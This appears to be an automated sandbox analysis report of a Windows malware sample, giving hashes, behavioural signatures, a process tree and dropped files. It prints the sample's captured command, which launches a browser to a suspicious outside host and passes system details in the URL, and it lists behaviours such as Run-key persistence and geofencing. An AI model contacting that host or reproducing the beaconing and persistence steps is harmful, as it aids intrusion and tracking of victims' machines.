Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27-11-2022 13:46

General

  • Target

    4d77d974027014dc8e98e4fdd0ccf9fb1de1ada14c9a6d137584cfc61814450d.exe

  • Size

    143KB

  • MD5

    d1302379f2222a6f65f1aa6fdb072ace

  • SHA1

    59b35b0099d1dee00ebab458e737ee011e7276bf

  • SHA256

    4d77d974027014dc8e98e4fdd0ccf9fb1de1ada14c9a6d137584cfc61814450d

  • SHA512

    2550d6eced93096f4ddd444dc59b60f2c873c57ab64cd21797fd03cecb1acb119048f6e7415a6be3ca65a940cc671b8e40053ee5396bbf609bb9911493599cb3

  • SSDEEP

    3072:iN6ZekwVJIlgps5q9Eb648qwlS/+TfQO45DEv:pe9IB83ID5y

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Drops file in Program Files directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SendNotifyMessage 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\4d77d974027014dc8e98e4fdd0ccf9fb1de1ada14c9a6d137584cfc61814450d.exe
    "C:\Users\Admin\AppData\Local\Temp\4d77d974027014dc8e98e4fdd0ccf9fb1de1ada14c9a6d137584cfc61814450d.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:1232
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c "start http://securedfileinfo.com/404.jsp?chid=5300108^&rsn=plde^&details=^|v6.2.9200x64sp0.0ws^|tt31^|dt0^|dc100^|fs-2^|dh0^|ec13^|se12007^|dr4^|ds0^|rs0^|p1"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1356
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://securedfileinfo.com/404.jsp?chid=5300108&rsn=plde&details=|v6.2.9200x64sp0.0ws|tt31|dt0|dc100|fs-2|dh0|ec13|se12007|dr4|ds0|rs0|p1
        3⤵
        • Adds Run key to start application
        • Enumerates system info in registry
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:4804
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffca95846f8,0x7ffca9584708,0x7ffca9584718
          4⤵
            PID:852
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2168,12340967881480535117,14813340368685951915,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2192 /prefetch:2
            4⤵
              PID:2584
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2168,12340967881480535117,14813340368685951915,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2288 /prefetch:3
              4⤵
              • Suspicious behavior: EnumeratesProcesses
              PID:2180
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2168,12340967881480535117,14813340368685951915,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2684 /prefetch:8
              4⤵
                PID:4756
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2168,12340967881480535117,14813340368685951915,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3644 /prefetch:1
                4⤵
                  PID:976
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2168,12340967881480535117,14813340368685951915,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3656 /prefetch:1
                  4⤵
                    PID:1940
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2168,12340967881480535117,14813340368685951915,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4332 /prefetch:8
                    4⤵
                      PID:768
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2168,12340967881480535117,14813340368685951915,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5416 /prefetch:1
                      4⤵
                        PID:312
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2168,12340967881480535117,14813340368685951915,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5644 /prefetch:8
                        4⤵
                          PID:4596
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2168,12340967881480535117,14813340368685951915,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5652 /prefetch:1
                          4⤵
                            PID:4988
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2168,12340967881480535117,14813340368685951915,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5752 /prefetch:1
                            4⤵
                              PID:3992
                            • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2168,12340967881480535117,14813340368685951915,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6280 /prefetch:8
                              4⤵
                                PID:704
                              • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --configure-user-settings --verbose-logging --system-level --msedge --force-configure-user-settings
                                4⤵
                                • Drops file in Program Files directory
                                PID:1508
                                • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\MsEdgeCrashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x220,0x224,0x228,0x1fc,0x22c,0x7ff678305460,0x7ff678305470,0x7ff678305480
                                  5⤵
                                    PID:1176
                                • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2168,12340967881480535117,14813340368685951915,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6280 /prefetch:8
                                  4⤵
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:4996
                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2168,12340967881480535117,14813340368685951915,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3416 /prefetch:8
                                  4⤵
                                    PID:3012
                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2168,12340967881480535117,14813340368685951915,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3424 /prefetch:8
                                    4⤵
                                      PID:4376
                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2168,12340967881480535117,14813340368685951915,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2652 /prefetch:8
                                      4⤵
                                        PID:4388
                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2168,12340967881480535117,14813340368685951915,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6100 /prefetch:8
                                        4⤵
                                          PID:704
                                  • C:\Windows\System32\CompPkgSrv.exe
                                    C:\Windows\System32\CompPkgSrv.exe -Embedding
                                    1⤵
                                      PID:4548

                                    Network

                                    MITRE ATT&CK Enterprise v6

                                    Replay Monitor

                                    Loading Replay Monitor...

                                    Downloads

                                    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

                                      Filesize

                                      1KB

                                      MD5

                                      7ef66f502cb164d6d88fd779895d5e07

                                      SHA1

                                      75c68e887afe0041c18bc01dc36ae719db07a436

                                      SHA256

                                      084f8949af79ac48c5c245e4bbeea807949d1e8e182e7d0487227231fcd97a77

                                      SHA512

                                      419b6e5def7e1051af856ea4256235fa4f1bdbf001b54f1db9e59c44f7da8f9cfa8d63f77e35345ec6d5c3ab13de10094281d44f42a7e1fd9d92b3b68ac5ba9e

                                    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\265C0DEB29181DD1891051371C5F863A_46F574BDF8F8E3AC29733131E4667BA4

                                      Filesize

                                      472B

                                      MD5

                                      03ad9fc0b00b5df3165dc2fb1e3b0a3e

                                      SHA1

                                      f8243335a8bc24d989bddd346048a055e1d0bdeb

                                      SHA256

                                      366b28d491f7fd632e31c1ce97f939555f7dcee14bb6875737ed2d3e96fa32ec

                                      SHA512

                                      a3cd8a001366e6c1b96d2b920d56e6efd34e9b69b9805e1a2b0c270346712e22420366f8bd18bbb1dd16fa60d481ad65b13385a66a3f1fa0d7aadaaa27b99796

                                    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA

                                      Filesize

                                      724B

                                      MD5

                                      f569e1d183b84e8078dc456192127536

                                      SHA1

                                      30c537463eed902925300dd07a87d820a713753f

                                      SHA256

                                      287bc80237497eb8681dbf136a56cc3870dd5bd12d48051525a280ae62aab413

                                      SHA512

                                      49553b65a8e3fc0bf98c1bc02bae5b22188618d8edf8e88e4e25932105796956ae8301c63c487e0afe368ea39a4a2af07935a808f5fb53287ef9287bc73e1012

                                    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

                                      Filesize

                                      410B

                                      MD5

                                      9d7a9b4f80d84d4d7384b0cc2258bead

                                      SHA1

                                      233aad5d79103022db0a1d3a4b277b4ffe82e4ed

                                      SHA256

                                      6a00cbccbf4c40385791741e4b7c015ccbf9da50f0a6e89d326c550fa5a427b2

                                      SHA512

                                      00fed553f0751aafecd420ddd2f709602ea3565b3070c708f446721c3ce1162f89020d5bc399f9dab9e6f3755aee96028d8de854c110fb218005bf4507309cc5

                                    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\265C0DEB29181DD1891051371C5F863A_46F574BDF8F8E3AC29733131E4667BA4

                                      Filesize

                                      402B

                                      MD5

                                      5fe0f14c7499eb284da546249493eca3

                                      SHA1

                                      5ab40ada58cf9024846e7fb6a0f20a294ef2c9e1

                                      SHA256

                                      b5e1098327488ec77cda33c983bf1af68deef7042ca5d4293fb9b7e43483287d

                                      SHA512

                                      2748d0c9eeac244ce8788aae2d6e18394b4815b68884a2ed7b1a0b574ed5ebbb704fddf2e208121a64300ea6ef4f0d69e9ec91b22a265e0e8922278fb20d765b

                                    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA

                                      Filesize

                                      392B

                                      MD5

                                      0bb0a95cb29c8fcfef4b75d10ee15d0e

                                      SHA1

                                      893b8d0d66fe13d0a82ce748adf9b93f426c5dbe

                                      SHA256

                                      9892b8b26f5c2ed5f1442d0e6640ff1e536490b3b10a59985489e0d909bc37ca

                                      SHA512

                                      1a838a7402bb9a145e9c1a8ea8500d9e3c1dd0f6d8f047ce35671b65590a40a3def73c156b81e2d1ff3e7645333c617a6fb070adb1ee334cbce1d6f6acdfbbc2

                                    • memory/312-150-0x0000000000000000-mapping.dmp

                                    • memory/704-171-0x0000000000000000-mapping.dmp

                                    • memory/768-146-0x0000000000000000-mapping.dmp

                                    • memory/852-134-0x0000000000000000-mapping.dmp

                                    • memory/976-142-0x0000000000000000-mapping.dmp

                                    • memory/1176-162-0x0000000000000000-mapping.dmp

                                    • memory/1356-132-0x0000000000000000-mapping.dmp

                                    • memory/1508-161-0x0000000000000000-mapping.dmp

                                    • memory/1940-144-0x0000000000000000-mapping.dmp

                                    • memory/2180-137-0x0000000000000000-mapping.dmp

                                    • memory/2584-136-0x0000000000000000-mapping.dmp

                                    • memory/3012-165-0x0000000000000000-mapping.dmp

                                    • memory/3992-160-0x0000000000000000-mapping.dmp

                                    • memory/4376-167-0x0000000000000000-mapping.dmp

                                    • memory/4388-169-0x0000000000000000-mapping.dmp

                                    • memory/4596-156-0x0000000000000000-mapping.dmp

                                    • memory/4756-140-0x0000000000000000-mapping.dmp

                                    • memory/4804-133-0x0000000000000000-mapping.dmp

                                    • memory/4988-158-0x0000000000000000-mapping.dmp

                                    • memory/4996-163-0x0000000000000000-mapping.dmp